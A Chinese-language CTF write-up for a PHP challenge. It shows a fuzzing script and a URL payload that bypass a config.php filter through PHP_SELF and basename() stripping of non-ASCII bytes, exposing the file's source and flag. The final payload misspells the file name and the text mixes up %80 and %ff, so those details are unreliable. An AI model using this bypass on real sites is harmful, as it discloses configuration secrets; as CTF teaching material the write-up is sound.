题目:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
什么是PHP_SELF变量?
PHP_SELF是一个返回正在执行的当前脚本的变量。此变量返回当前文件的名称和路径(来自根文件夹)。
a)假设您的php文件位于以下地址:
http://www.yourserver.com/form-action.php
在这种情况下,PHP_SELF将包含:
"/form-action.php"
b)假设您的php文件位于以下地址:
http://www.yourserver.com/dir1/form-action.php
对于此URL,PHP_SELF将为:
"/dir1/form-action.php"
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']))
正则表达式是表示不能以config.php为结尾,在后面添加%80
绕过
绕过的字符可以通过以下代码获得(wp)
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for ($i = 0; $i < 255; $i++){
$s = '/index.php/config.php/'.chr($i);
if(!check($s)){
$t = basename('/index.php/config.php/'.chr($i));
echo "${i}: ${t}\n";
}
}
?>
128之后的都是,128 -> 0x80,%80就可以绕过。
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
basename()函数的作用是:
返回路径中的文件名部分,并会自动去掉前面或后面非ASCII值的符号。%ff恰好被去掉。
可以构建/index.php/config.php
运行的是index.php
,但是basename()
获取到的是config.php
,然后再通过?source
读取
现在的payload为:
/index.php/congfig.php/%80?source